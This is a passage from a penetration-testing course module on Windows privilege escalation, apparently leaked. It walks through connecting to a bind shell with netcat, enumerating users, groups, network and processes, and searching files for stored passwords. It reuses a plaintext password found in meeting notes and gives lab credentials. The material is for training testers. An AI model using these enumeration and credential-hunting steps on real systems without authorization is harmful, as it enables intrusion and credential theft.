PEN-200

57.9%
This online ethical hacking course is self-paced. It introduces penetration testing tools and techniques via hands-on experience. PEN-200 trains not only the skills, but also the mindset required to be a successful penetration tester.
Training material
Challenge Labs
Exam

PEN-200: 16. Windows Privilege Escalation | Leaked by hide01.ir

16. Windows Privilege Escalation
16.1. Enumerating Windows
16.1.1. Understanding Windows Privileges and Access Control Mechanisms
16.1.2. Situational Awareness
16.1.3. Hidden in Plain View
16.1.4. Information Goldmine PowerShell
16.1.5. Automated Enumeration
16.2. Leveraging Windows Services
16.2.1. Service Binary Hijacking
16.2.2. DLL Hijacking
16.2.3. Unquoted Service Paths
16.3. Abusing Other Windows Components
16.3.1. Scheduled Tasks
16.3.2. Using Exploits
16.4. Wrapping Up

16. Windows Privilege Escalation

In this Learning Module, we will cover the following Learning Units:

  • Enumerating Windows
  • Leveraging Windows Services
  • Abusing other Windows components

During a penetration test, we often gain our initial foothold on a Windows system as an unprivileged user. However, we usually need administrative privileges to search for sensitive information in other users' home directories, examine configuration files on the system, or extract password hashes with Mimikatz.1 The process of elevating our privileges and access from unprivileged to privileged is called Privilege Escalation.2

While this Module focuses on Windows, the next Module will explore privilege escalation techniques on Linux systems. Once we've completed both, we will not only understand how the security models and attack surfaces of the two operating systems differ, but also how we can leverage privilege escalation vectors on each of them.

In this Module, we'll begin with an introduction to Windows privileges and access control mechanisms. Then, we'll cover how to establish situational awareness on the target system by gathering information. Based on this information, we'll perform various privilege escalation attacks. First, we'll search the system for sensitive information left by users and the OS. Next, we'll learn how to abuse Windows services to attempt privilege escalation attacks. Finally, we'll review other components of Windows, which allow us to elevate our privileges through Scheduled Tasks.3 Finally, we'll investigate the use of exploits.

16.1. Enumerating Windows

This Learning Unit covers the following Learning Objectives:

  • Understand Windows privileges and access control mechanisms
  • Obtain situational awareness
  • Search for sensitive information on Windows systems
  • Find sensitive information generated by PowerShell
  • Become familiar with automated enumeration tools

Every target can be considered unique due to differences in OS versions, patch levels, system configuration, etc. Therefore, it is important for us to understand how to obtain and leverage information about the target system to achieve privilege escalation. To fully grasp the attack vectors of this Module, we'll first need to get familiar with the Windows privilege structure and access control mechanisms.

While it is very common to use technical attack vectors to achieve privilege escalation, it's often sufficient to merely review information that users and the system leave behind. A couple examples are when a user stores passwords in a text file or Windows records the input of a password in PowerShell. For attackers, this can be a gold mine that leads to higher privileges.

In this Learning Unit, we will start by discussing how Windows privileges and access control mechanisms work. Then, we'll explore methods to establish situational awareness on the system. These methods provide vital information about a target system such as existing users, active network connections, and running applications. Next, we'll examine various areas in Windows where we can search for sensitive information. Finally, we'll review automated tools.

16.1.1. Understanding Windows Privileges and Access Control Mechanisms

Privileges on the Windows operating system refer to the permissions of a specific account to perform system-related local operations (e.g. modifying the filesystem or adding users). To grant or deny these operations, Windows needs control mechanisms to identify the source of the operation and determine if the privileges for the operation are sufficient.

In this section, we'll cover four different concepts and mechanisms: Security Identifier (SID),1 access token,2 Mandatory Integrity Control,3 and User Account Control.4

Windows uses a SID to identify entities. A SID is a unique value assigned to each entity, or principal, that can be authenticated by Windows, such as users and groups. The SID for local accounts and groups is generated by the Local Security Authority (LSA),5 and for domain users and domain groups, it's generated on a Domain Controller (DC). The SID cannot be changed and is generated when the user or group is created.

Windows uses only the SID, not usernames, to identify principals for access control management.

The SID string consists of different parts, delimited by "-", and represented by the placeholders "S", "R", "X", and "Y" in the following listing. This representation is the fundamental structure of a SID.

S-R-X-Y

Listing 1 - SID representation

The first part is a literal "S", which indicates that the string is a SID.

"R" stands for revision and is always set to "1", since the overall SID structure continues to be on its initial version.

"X" determines the identifier authority. This is the authority that issues the SID. For example, "5" is the most common value for the identifier authority. It specifies NT Authority and is used for local or domain users and groups.

"Y" represents the sub authorities of the identifier authority. Every SID consists of one or more sub authorities. This part consists of the domain identifier and relative identifier (RID). The domain identifier is the SID of the domain for domain users, the SID of the local machine for local users, and "32" for built-in principals. The RID determines principals such as users or groups.

The following listing shows an example SID of a local user on a Windows system:

S-1-5-21-1336799502-1441772794-948155058-1001

Listing 2 - SID representation

Listing 2 shows that the RID is 1001. Because the RID starts at 1000 for nearly all principals, this implies that this is the second local user created on the system.

There are SIDs that have a RID under 1000, which are called well-known SIDs.6 These SIDs identify generic and built-in groups and users instead of specific groups and users. The following listing contains some useful well-known SIDs in the context of privilege escalation.

S-1-0-0                       Nobody        
S-1-1-0	                      Everybody
S-1-5-11                      Authenticated Users
S-1-5-18                      Local System
S-1-5-domainidentifier-500    Administrator

Listing 3 - List of Well known SIDs on local machines

While we won't directly work with SIDs in this Module, knowing how Windows identifies principals is necessary to understand access tokens. Additionally, it's vital in the upcoming Active Directory Modules.

Now that we know how Windows identifies principals on a system, let's discuss how Windows determines whether to grant or deny operations. Once a user is authenticated, Windows generates an access token that is assigned to that user. The token itself contains various pieces of information that effectively describe the security context of a given user. The security context is a set of rules or attributes that are currently in effect.

The security context of a token consists of the SID of the user, SIDs of the groups the user is a member of, the user and group privileges, and further information describing the scope of the token.

When a user starts a process or thread, a token will be assigned to these objects. This token, called a primary token, specifies which permissions the process or threads have when interacting with another object and is a copy of the access token of the user.

A thread can also have an impersonation token7 assigned. Impersonation tokens are used to provide a different security context than the process that owns the thread. This means that the thread interacts with objects on behalf of the impersonation token instead of the primary token of the process.

In addition to SIDs and tokens, Windows also implements what is known as Mandatory Integrity Control. It uses integrity levels to control access to securable objects. We can think of these levels as hierarchies of trust Windows has in a running application or securable object.

When processes are started or objects are created, they receive the integrity level of the principal performing this operation. One exception is if an executable file has a low integrity level, the process's integrity level will also be low. A principal with a lower integrity level cannot write to an object with a higher level, even if the permissions would normally allow them to do so.

From Windows Vista onward, processes run on five integrity levels:

- System: SYSTEM (kernel, ...)
- High: Elevated users
- Medium: Standard users
- Low: Very restricted rights often used in sandboxed[^privesc_win_sandbox] processes or for directories storing temporary data
- Untrusted: Lowest integrity level with extremely limited access rights for processes or objects that pose the most potential risk

Listing 4 - Integrity Levels

We can display the integrity level of processes with Process Explorer8 for our current user with whoami /groups, and for files with icacls.9

For example, the following figure shows two PowerShell processes on a Windows system in Process Explorer. One started as a regular user and the other as an administrative user.

Figure 1: Different Integrity Levels of PowerShell
Figure 1: Different Integrity Levels of PowerShell

The PowerShell processes have the integrity level of High and Medium. Reviewing Listing 4, we can infer that the High integrity level process is started by the administrative user and the Medium integrity level process by the regular user.

Finally, another Windows security technology we need to consider is User Account Control (UAC). UAC is a Windows security feature that protects the operating system by running most applications and tasks with standard user privileges, even if the user launching them is an Administrator. For this, an administrative user obtains two access tokens after a successful logon. The first token is a standard user token (or filtered admin token), which is used to perform all non-privileged operations. The second token is a regular administrator token. It will be used when the user wants to perform a privileged operation. To leverage the administrator token, a UAC consent prompt10 needs to be confirmed.

This concludes our brief introduction to Windows privileges and access control mechanisms. We should now have a basic understanding of SIDs, access tokens, integrity levels, and UAC. Windows offers numerous other mechanisms to control access to securable objects. We'll discuss and demonstrate several more in this Module.

Labs

  1. What is the RID of the first standard user?
  1. Answer with true or false: An access token is generated when a user is created and is immutable.

16.1.2. Situational Awareness

Now that we have a basic understanding of Windows privileges, we'll cover various methods to get situational awareness on a system. Let's assume we used a client-side attack or exploited a vulnerability to access a Windows system as an unprivileged user. Before we attempt to elevate our privileges, we must obtain information about the system we are on.

This is a crucial step to better understand the nature of the compromised machine and discover possible vectors for privilege escalation. However, it is often skipped or minimized by inexperienced penetration testers since sifting through and interpreting a lot of information is not as exciting as attacking services or machines. Experienced penetration testers know that by gathering as much information as possible, they obtain valuable information about the target system they can use to create various actionable vectors to elevate their privileges.

There are several key pieces of information we should always obtain:

- Username and hostname
- Group memberships of the current user
- Existing users and groups
- Operating system, version and architecture
- Network information
- Installed applications
- Running processes

Listing 5 - Information we should gather to obtain situational awareness

After we perform the enumeration steps to obtain this information, we will have a solid understanding of our target system.

Let's start gathering the information on the CLIENTWK220 system. In this example, we'll assume that we previously started a bind shell on port 4444 through a client-side attack.

If the connection to the bind shell in this or following sections is terminated, it can take up to 1 minute to become accessible again.

Now, let's demonstrate how to obtain the information from Listing 5. For this, we'll connect to the target system with netcat and enter whoami to obtain the first pieces of information: the username and hostname.

kali@kali:~$ nc 192.168.50.220 4444
Microsoft Windows [Version 10.0.22000.318]
(c) Microsoft Corporation. All rights reserved.

C:\Users\dave>whoami
whoami
clientwk220\dave

C:\Users\dave>

Listing 6 - Connect to the bind shell and obtain username and hostname

The output of Listing 6 shows that we have command execution as user dave. Additionally, the output contains the hostname of the system, clientwk220. This hostname implies that our bind shell runs on a client system rather than on a server.

The hostname often can be used to infer the purpose and type of a machine. For example, if it is WEB01 for a web server or MSSQL01 for a MSSQL1 server.

Next, we want to check which groups dave is in. To display all groups our current user is a member of, we can use whoami /groups.

C:\Users\dave> whoami /groups
whoami /groups

GROUP INFORMATION
-----------------

Group Name                             Type             SID                                            Attributes                                        
====================================== ================ ============================================== ==================================================
Everyone                             Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
CLIENTWK220\helpdesk                 Alias            S-1-5-21-2309961351-4093026482-2223492918-1008 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users         Alias            S-1-5-32-555                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH                   Well-known group S-1-5-3                                        Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
... 

Listing 7 - Group memberships of the user dave

The output shows that dave is a member of the helpdesk group. Helpdesk staff often have additional permissions and access compared to standard users.

Additionally, the user is a member of BUILTIN\Remote Desktop Users. Membership of this group offers the possibility to connect to the system via RDP.

The other groups dave is a member of are standard for non-privileged users such as Everyone and BUILTIN\Users.

The next piece of information we are interested in are other users and groups on the system. We can use the net user2 command or the Get-LocalUser3 Cmdlet to obtain a list of all local users. Let's use the latter by starting PowerShell and running Get-LocalUser.

C:\Users\dave> powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\dave> Get-LocalUser
Get-LocalUser

Name               Enabled Description                                                                              
----               ------- -----------                                                                              
Administrator      False   Built-in account for administering the computer/domain
BackupAdmin        True
dave               True    dave 
daveadmin          True 
DefaultAccount     False   A user account managed by the system.
Guest              False   Built-in account for guest access to the computer/domain
offsec             True
steve              True
... 

Listing 8 - Display local users on CLIENT220

The output shows several interesting items that can help us to get an overview of the system.

The first one is that the built-in Administrator account is disabled. Next, two presumed regular users called steve and dave exist. In addition, we have identified two other users named daveadmin and BackupAdmin. Both usernames contain "admin", which implies that they are potentially administrative users, making them valuable targets.

We can also assume that daveadmin is the privileged account of dave. Administrators often have both a non-privileged and a privileged account. They use the non-privileged account for day-to-day work and the privileged account for administrative tasks. For security reasons, they don't use the privileged account for performing potentially unsafe tasks such as browsing the internet.

Before we make further assumptions, let's enumerate the existing groups on CLIENTWK220. We can choose between the command net localgroup or Get-LocalGroup4 in PowerShell.

PS C:\Users\dave> Get-LocalGroup
Get-LocalGroup

Name                                Description                                                                      
----                                -----------                                                                     
adminteam                  Members of this group are admins to all workstations on the second floor
BackupUsers 
helpdesk
...
Administrators                      Administrators have complete and unrestricted access to the computer/domain
...
Remote Desktop Users                Members in this group are granted the right to logon remotely
...  

Listing 9 - Display local groups on CLIENTWK220

Listing 9 displays the non-standard groups adminteam, BackupUsers, and helpdesk.

The adminteam group may be of interest to us since it contains the string "admin" and has a custom description text, indicating the members are admins to all workstations on the second floor. However, we don't currently have any further information regarding which floors exist or which departments are on which floors.

Another interesting finding is the group name BackupUsers as with the user BackupAdmin before. Backup solutions often have extensive permissions to perform their operations on the file system, making both potentially valuable targets.

Apart from the non-standard groups, there are several built-in groups we should analyze, such as Administrators, Backup Operators, Remote Desktop Users, and Remote Management Users.

Members of Backup Operators can backup and restore all files on a computer, even those files they don't have permissions for. We must not confuse this group with non-standard groups such as BackupUsers in our example.

Members of Remote Desktop Users can access the system with RDP, while members of Remote Management Users can access it with WinRM.5

For this example, let's review the members of adminteam and Administrators. We can do this with Get-LocalGroupMember,6 passing the group name as an argument.

PS C:\Users\dave> Get-LocalGroupMember adminteam
Get-LocalGroupMember adminteam

ObjectClass Name                PrincipalSource
----------- ----                ---------------
User        CLIENTWK220\daveadmin Local 

PS C:\Users\dave> Get-LocalGroupMember Administrators
Get-LocalGroupMember Administrators

ObjectClass Name                      PrincipalSource
----------- ----                      ---------------
User        CLIENTWK220\Administrator Local          
User        CLIENTWK220\daveadmin     Local
User        CLIENTWK220\backupadmin     Local  
User        CLIENTWK220\offsec        Local

Listing 10 - Display members of the group adminteam

Listing 10 shows that only daveadmin is a member of adminteam. However, adminteam is not listed in the local Administrators group. We only know that members of the group are administrators to workstations on the second floor. The information we have gathered thus far is not directly actionable, but it may become so when we move deeper into the network and identify which systems reside on the second floor.

The output also shows that apart from the disabled local Administrator account, the users daveadmin and BackupAdmin are members of the local Administrators group. Therefore, we've now identified two highly valuable targets.

While it is crucial to know which users are privileged, it is also vital for us to understand which users can use RDP. Obtaining the credentials for one of these users may lead us to a GUI access, which often tremendously improves our means of interacting with the system.

We've collected quite some information about the users and groups on the target system. Let's briefly summarize what we know so far.

Our bind shell runs as the user dave on a machine with the hostname CLIENTWK220. This user is in a group named helpdesk. Additionally, there is another user named daveadmin which is probably the person's privileged account, while dave may be used for day to day work. The user daveadmin is also in a group named adminteam, whose description indicates it has administrative privileges on all workstations on the second floor. Furthermore, daveadmin and BackupAdmin are local Administrators on CLIENTWK220.

Next, we'll gather information about the actual target machine, its configuration, and applications running on it.

Following the list from listing 5, let's check the operating system, version, and architecture first. We can use systeminfo to gather this information.

PS C:\Users\dave> systeminfo
systeminfo

Host Name:                 CLIENTWK220
OS Name:                   Microsoft Windows 11 Pro
OS Version:                10.0.22621 N/A Build 22621
...
System Type:               x64-based PC
...

Listing 11 - Information about the operating system and architecture

The output of Listing 11 shows that our bind shell runs on a Windows 11 Pro system. To get the exact version, we can use the build number and review the existing versions7 of the identified operating system. In our case, build 22621 is the version 22H2 of Windows 11.

Additionally, the output contains the information that our bind shell runs on a 64-bit system. This information becomes relevant when we want to run binary files on the system, since we cannot run a 64-bit application on a 32-bit system.

Next, let's move down the list and review the network information we can obtain as dave. Our goal in this step is to identify all network interfaces, routes, and active network connections. Based on this information, we may identify new services or even access to other networks. This information may not directly lead us to elevated privileges, but they are vital to understand the machine's purpose and to obtain vectors to other systems and networks.

Obtaining privileged access on every machine in a penetration test is rarely a useful or realistic goal. While most machines in the challenge labs of this course are rootable, we'll face numerous non-rootable machines in real-life assessments. A skilled penetration tester's goal is therefore not to blindly attempt privilege escalation on every machine at any cost, but to identify machines where privileged access leads to further compromise of the client's infrastructure.

To list all network interfaces, we can use ipconfig8 with the argument /all.

PS C:\Users\dave> ipconfig /all
ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : clientwk220
   Primary Dns Suffix  . . . . . . . : 
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
   Physical Address. . . . . . . . . : 00-50-56-8A-80-16
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::cc7a:964e:1f98:babb%6(Preferred) 
   IPv4 Address. . . . . . . . . . . : 192.168.50.220(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.50.254
   DHCPv6 IAID . . . . . . . . . . . : 234901590
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-2A-3B-F7-25-00-50-56-8A-80-16
   DNS Servers . . . . . . . . . . . : 8.8.8.8
   NetBIOS over Tcpip. . . . . . . . : Enabled

Listing 12 - Information about the network configuration

The output shows some interesting information. For example, the system is not configured to get an IP address via DHCP,9 but it was set manually. Furthermore, it contains the DNS server, gateway, subnet mask, and MAC address. These pieces of information will be useful when we attempt to move to other systems or networks.

To display the routing table, which contains all routes of the system, we can use route print.10 The output of this command is useful to determine possible attack vectors to other systems or networks.

PS C:\Users\dave> route print
route print
===========================================================================
Interface List
  4...00 50 56 95 01 6a ......vmxnet3 Ethernet Adapter
  1...........................Software Loopback Interface 1
===========================================================================

IPv4 Route Table
===========================================================================
Active Routes:
Network Destination        Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0   192.168.50.254   192.168.50.220    271
        127.0.0.0        255.0.0.0         On-link         127.0.0.1    331
        127.0.0.1  255.255.255.255         On-link         127.0.0.1    331
  127.255.255.255  255.255.255.255         On-link         127.0.0.1    331
     192.168.50.0    255.255.255.0         On-link    192.168.50.220    271
   192.168.50.220  255.255.255.255         On-link    192.168.50.220    271
   192.168.50.255  255.255.255.255         On-link    192.168.50.220    271
        224.0.0.0        240.0.0.0         On-link         127.0.0.1    331
        224.0.0.0        240.0.0.0         On-link    192.168.50.220    271
  255.255.255.255  255.255.255.255         On-link         127.0.0.1    331
  255.255.255.255  255.255.255.255         On-link    192.168.50.220    271
===========================================================================
Persistent Routes:
  Network Address          Netmask  Gateway Address  Metric
          0.0.0.0          0.0.0.0   192.168.50.254  Default 
===========================================================================

IPv6 Route Table
===========================================================================
Active Routes:
 If Metric Network Destination      Gateway
  1    331 ::1/128                  On-link
  4    271 fe80::/64                On-link
  4    271 fe80::1b30:4f11:8789:866a/128
                                    On-link
  1    331 ff00::/8                 On-link
  4    271 ff00::/8                 On-link
===========================================================================
Persistent Routes:
  None

Listing 13 - Routing table on CLIENTWK220

Listing 13 shows no routes to any previously unknown networks. However, we should always check the routing table on a target system to ensure we don't miss any information.

To list all active network connections we can use netstat11 with the argument -a to display all active TCP connections as well as TCP and UDP ports, -n to disable name resolution, and -o to show the process ID for each connection.

PS C:\Users\dave> netstat -ano
netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       3340
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       1016
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING       3340
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       3508
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       1148
  TCP    192.168.50.220:139     0.0.0.0:0              LISTENING       4
  TCP    192.168.50.220:3389    192.168.48.3:33770     ESTABLISHED     1148
  TCP    192.168.50.220:4444    192.168.48.3:58386     ESTABLISHED     2064
...

Listing 14 - Active network connections on CLIENTWK220

The output of listing 14 shows that ports 80 and 443 are listening, usually indicating that a web server is running on the system. Additionally, an open port of 3306 is indicative of a running MySQL12 server.

The output also shows our Netcat connection on port 4444 as well as an RDP connection from 192.168.48.3 on port 3389. This means we are not the only user currently connected to the system. Once we manage to elevate our privileges, we could use Mimikatz and attempt to extract credentials of the user.

Next, we'll check all installed applications. We can query two registry keys13 to list both 32-bit and 64-bit applications in the Windows Registry with the Get-ItemProperty14 Cmdlet. We pipe the output to select with the argument displayname to only display the application's names. We begin with the 32-bit applications and then display the 64-bit applications.

PS C:\Users\dave> Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname 

displayname                                                       
-----------                                                       
                                                                  
FileZilla 3.63.1                                                  
KeePass Password Safe 2.51.1                                   
Microsoft Edge                                                    
Microsoft Edge Update                                             
Microsoft Edge WebView2 Runtime                                   
                                                                  
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.28.29913
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913    
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913       
Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.28.29913


PS C:\Users\dave> Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

DisplayName                                                   
-----------                                                   
7-Zip 21.07 (x64)                                             
                                                              
                                                              
XAMPP                                                         
VMware Tools                                                  
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913
Microsoft Update Health Tools                                 
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913   
Update for Windows 10 for x64-based Systems (KB5001716) 

Listing 15 - Installed applications on CLIENTWK220

Listing 15 shows that apart from standard Windows applications, the FileZilla15 FTP client, KeePass16 password manager, 7-Zip,17 and XAMPP18 are installed on CLIENTWK220.

As discussed in the Module "Locating Public Exploits", we could search for public exploits for the identified applications after we finish the situational awareness process. We could also leverage password attacks to retrieve the master password of the password manager to potentially obtain other passwords, enabling us to log on as a privileged user.

However, the listed applications from Listing 15 may not be complete. For example, this could be due to an incomplete or flawed installation process. Therefore, we should always check 32-bit and 64-bit Program Files directories located in C:\. Additionally, we should review the contents of the Downloads directory of our user to find more potential programs.

While it is important to create a list of installed applications on the target system, it is equally important to identify which of them are currently running. For this, we'll review the running processes of the system with Get-Process.19

PS C:\Users\dave> Get-Process
Get-Process

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName                                                  
-------  ------    -----      -----     ------     --  -- -----------                                                  
     58      13      528       1088       0.00   2064   0 access                                                       
...                                                  
    369      32     9548      31320              2632   0 filezilla                                                    
...                                         
    188      29     9596      19716              3340   0 httpd                                                        
    486      49    16528      23060              4316   0 httpd                                                        
...                                                   
    205      17   210736      29228              3508   0 mysqld                                                       
...                                     
    982      32    83696      13780       0.59   2836   0 powershell                                                   
    587      28    65628      73752              9756   0 powershell                                                   
...
...

Listing 16 - Running processes on CLIENTWK220

Listing 16 shows a shortened list of all running processes on CLIENTWK220. It contains our bind shell with ID 2064 and the PowerShell session we started for the enumeration process with ID 9756.

When we review the netstat output of Listing 14 again, we can confirm that the process ID 3508 belongs to mysqld and ID 4316 to Apache displayed as httpd.

Due to the information we obtained previously by listing the installed applications, we can infer that both Apache and MySQL were started through XAMPP.

We gathered quite a lot of information with the previous commands. Let's briefly summarize what we found out about the target system:

The system is a 64-bit Windows 11 Pro Build 22621 with an active web server on ports 80 and 443, MySQL server on port 3306, our bind shell on port 4444, and an active RDP connection on port 3389 from 192.168.48.3. Additionally, we found out that KeePass Password Manager, 7Zip, and XAMPP are installed on the target system.

The information we gathered on users and groups as well as the target system provide a good overview of the machine. In the next section, we'll search for sensitive information on the target system and interpret it based on the information gathered in the situational awareness process.

12

(MySQL, 2022), https://www.mysql.com/ ↩︎

16

(KeePass, 2022), https://keepass.info/ ↩︎

18

(Apache Friends, 2022), https://www.apachefriends.org/ ↩︎

Resources

Some of the labs require you to start the target machine(s) below.

Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.

Windows Privilege Escalation - Situational Awareness - VM #1
Windows Privilege Escalation - Situational Awareness - VM #2

Labs

  1. Check the users of the local group Remote Management Users on CLIENTWK220 (VM #1). Enter a user which is in this group apart from steve.
  1. Enumerate the installed applications on CLIENTWK220 (VM #1) and find the flag.
  1. We'll now use an additional machine, CLIENTWK221 (VM #2), to practice what we learned in this section. Access the machine via RDP as user mac with the password IAmTheGOATSysAdmin!. Identify another member of the local Administrators group apart from offsec and Administrator.
  1. Enumerate the currently running processes on CLIENTWK221 (VM #2). Find a non-standard process and locate the flag in the directory of the corresponding binary file.

16.1.3. Hidden in Plain View

Based on the information found in the previous section, we can assume that the users on CLIENTWK220 use a password manager. However, we should never underestimate the laziness of users when it comes to passwords and sensitive information. What was traditionally the Post-it note with the password under the keyboard is now quite often a text file on the desktop. While browsing the home directory of our user or publicly accessible folders, we can retrieve various pieces of sensitive information, which may provide us a vector for privilege escalation.

For example, sensitive information may be stored in meeting notes, configuration files, or onboarding documents. With the information we gathered in the situational awareness process, we can make educated guesses on where to find such files.

Now, let's search CLIENTWK220 for sensitive information. We have identified that KeePass and XAMPP are installed on the system and therefore, we should search for password manager databases and configuration files of these applications.

For this, we again connect to the system's bind shell. Let's begin our search by entering C:\ as argument for -Path and *.kdbx as argument for -Include to search for all password manager databases on the system with Get-ChildItem1 in PowerShell.

PS C:\Users\dave> Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

Listing 17 - Searching for password manager databases on the C:\ drive

Listing 17 shows that no password manager databases could be found in our search.

Next, let's search for sensitive information in configuration files of XAMPP. After reviewing the documentation,2 we enter *.txt,*.ini for -Include because these file types are used by the application for configuration files. Additionally, we enter C:\xampp as argument for -Path.

PS C:\Users\dave> Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
...
Directory: C:\xampp\mysql\bin

Mode                 LastWriteTime         Length Name                                               
----                 -------------         ------ ----                                               
-a----         6/16/2022   1:42 PM           5786 my.ini
...
Directory: C:\xampp

Mode                 LastWriteTime         Length Name                                              
----                 -------------         ------ ----                                                                 
-a----         3/13/2017   4:04 AM            824 passwords.txt
-a----         6/16/2022  10:22 AM            792 properties.ini     
-a----         5/16/2022  12:21 AM           7498 readme_de.txt 
-a----         5/16/2022  12:21 AM           7368 readme_en.txt     
-a----         6/16/2022   1:17 PM           1200 xampp-control.ini  

Listing 18 - Searching for sensitive information in XAMPP directory

Listing 18 shows us that our search returned two files that may contain sensitive information. The file my.ini is the configuration file for MySQL and passwords.txt contains the default passwords for the different XAMPP components. Let's review them.

PS C:\Users\dave> type C:\xampp\passwords.txt
type C:\xampp\passwords.txt
### XAMPP Default Passwords ###

1) MySQL (phpMyAdmin):

   User: root
   Password:
   (means no password!)
...
   Postmaster: Postmaster (postmaster@localhost)
   Administrator: Admin (admin@localhost)

   User: newuser  
   Password: wampp 
...

PS C:\Users\dave> type C:\xampp\mysql\bin\my.ini
type C:\xampp\mysql\bin\my.ini
type : Access to the path 'C:\xampp\mysql\bin\my.ini' is denied.
At line:1 char:1
+ type C:\xampp\mysql\bin\my.ini
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\xampp\mysql\bin\my.ini:String) [Get-Content], UnauthorizedAccessEx 
   ception
    + FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand

Listing 19 - Review the contents of passwords.txt and my.ini

Unfortunately, the file C:\xampp\passwords.txt only contains the unmodified default passwords3 of XAMPP. Furthermore, we don't have permissions to view the contents of C:\xampp\mysql\bin\my.ini.

Next, let's search for documents and text files in the home directory of the user dave. We enter *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx as file extensions to search for and set -Path to the home directory.

PS C:\Users\dave> Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

    Directory: C:\Users\dave\Desktop


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----         6/16/2022  11:28 AM            339 asdf.txt 

Listing 20 - Searching for text files and password manager databases in the home directory of dave

Listing 20 shows we that found a text file on the desktop of dave named asdf.txt. Let's check the contents of this file.

PS C:\Users\dave> cat Desktop\asdf.txt
cat Desktop\asdf.txt
notes from meeting:

- Contractors won't deliver the web app on time
- Login will be done via local user credentials
- I need to install XAMPP and a password manager on my machine 
- When beta app is deployed on my local pc: 
Steve (the guy with long shirt) gives us his password for testing
password is: securityIsNotAnOption++++++

Listing 21 - Contents of asdf.txt

Note that we used cat instead of type to display the contents of a file in the previous listing. In fact, both commands are aliases for the Get-Content4 Cmdlet in PowerShell and therefore we can use them interchangeably.

Listing 21 shows that the file was used for meeting notes. The note states that the web application uses local users' credentials and that for testing "Steve's" password securityIsNotAnOption++++++ can be used.

Very nice!

The information gathered in the situational awareness process comes in handy now, since we already know that a user named steve exists on the target system.

Before we attempt to leverage the password, let's check what groups steve is a member of. This time, we use the command net user with the username steve to obtain this information.

PS C:\Users\dave> net user steve
net user steve
User name                    steve
...
Last logon                   6/16/2022 1:03:52 PM

Logon hours allowed          All

Local Group Memberships      *helpdesk             *Remote Desktop Users 
                             *Remote Management Use*Users                
...

Listing 22 - Local groups user steve is a member of

While the output of Listing 22 shows that steve is not a member of the group Administrators, the user is a member of the group Remote Desktop Users.

Let's connect to CLIENTWK220 with RDP as steve and open PowerShell.

Figure 2: RDP Connection as _steve_
Figure 2: RDP Connection as _steve_

Due to access as new user, and therefore different permissions on files on the system, the process of searching for sensitive information begins again.

This is a great opportunity to zoom out here for a moment. With access to a new user, the process of searching for sensitive information starts again. This is not only true for this specific case, but also for nearly all areas of a penetration test. The cyclical nature of a penetration test is an important concept for us to grasp, because it provides a mindset of continuously reevaluating and including new information and access in order to follow previously inapproachable or newly identified attack vectors.

In our search as dave we received a permission error on C:\xampp\mysql\bin\my.ini. Let's begin by checking if we have access to it as steve.

PS C:\Users\steve> type C:\xampp\mysql\bin\my.ini
